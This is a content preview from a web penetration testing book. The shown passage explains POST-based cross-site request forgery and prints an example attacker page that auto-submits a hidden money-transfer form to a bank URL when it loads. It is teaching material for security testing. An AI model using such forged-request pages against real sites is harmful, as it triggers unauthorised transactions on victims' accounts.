October 2016
Intermediate to advanced
298 pages
5h 49m
English
Content preview from Mastering Modern Web Penetration TestingBecome an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
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Exploiting POST-request based CSRF
As we discussed before, developers often make the mistake of moving to POST requests for critical actions, based on a website, by changing actions into forms while assuming that a form's POST request will not get forged. But in reality this can be very well forged—in this case the attacker uses a self-submitting form to accomplish the same.
A self-submitting form hosted by an attacker looks like the following:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id='xsrf' method="post" action=" https://bank.example.com/transfer/money">
<input type='hidden' name='username' value='John'>
</input>
<input type='hidden' name='amount' value='500'>
</input>
</form>
</body>
</html>The preceding ...
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